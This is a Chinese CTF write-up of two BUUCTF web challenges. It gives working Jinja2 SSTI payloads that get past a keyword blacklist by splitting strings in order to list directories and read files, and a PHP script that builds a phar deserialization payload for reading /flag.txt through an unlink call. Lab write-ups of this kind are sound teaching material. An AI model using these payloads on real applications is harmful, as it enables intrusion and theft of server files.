BUUCTF 34

知识点

  • os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
  • 什么是phar反序列化:传送门

34-1 [GYCTF2020]FlaskApp

做题思路

打开题目发现一个base64加密解密的界面 

其中还有一个提示,点开提示写到

据WP得知 应该由此能想到Flask的debug模式。。

base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。

有关解密的关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route('/decode',methods=['POST','GET'])
def decode():
	if request.values.get('text') :
		text = request.values.get("text")
		text_decode = base64.b64decode(text.encode())
		tmp = "结果 : {0}".format(text_decode.decode())
		if waf(tmp) :
			flash("no no no !!")
			return redirect(url_for('decode'))
		res =  render_template_string(tmp)    # 模板渲染

所以可以使用ssti注入。我们简单试一试:
加密页面:
在这里插入图片描述
解密:
在这里插入图片描述
发现确实存在ssti注入。
直接执行命令:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目录

发现不行,所以思考waf()函数是否过滤了什么

读源码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

在python3下已经没有file了,所以是直接用open。

waf函数发现了过滤
原来是flag和os等被过滤。

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1


那么我们可以利用字符串拼接找目录与执行命令。
扫描根目录/:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。

在这里插入图片描述

发现了this_is_the_flag.txt
读取this_is_the_flag.txt:
由于waf过滤了flag,所以我们对“flag”进行拼接:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

得到flag:在这里插入图片描述

34-2 [CISCN2019 华北赛区 Day1 Web1]Dropbox

做题思路

打开题目之后注册账号,发现一个上传文件,尝试抓包上传

没发现什么东西,由于没有地址所以无法蚁剑连接,抓包的时候发现 

那是不是可以借此任意下载文件

修改filename可进行任意文件的下载(下载不了flag)。
在这里插入图片描述

于是下载网页源码,index.php,class.php,delete.php,ownload.php
注意到class.php中的Filelist类中的__destruct可以读取任意文件

public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }

class.php中的delete函数使用了unlink函数

   public function detele() {
        unlink($this->filename);
    }

而delete.php中又调用了delete函数

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}


综上,满足了phar反序列化利用的三个条件,所以可以使用phar反序列化来获取flag

生成phar文件的php代码:

<?php
    class User {
        public $db;
    } 
    class File{
        public $filename;
        public function __construct($name){
            $this->filename=$name;
        }
    }
    class FileList {
        private $files;
        public function __construct(){
            $this->files=array(new File('/flag.txt'));
        }
    } 
    $o = new User();
    $o->db =new FileList();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

之后将生成的phar文件后缀改为jpg上传。
接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag
借鉴WP

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值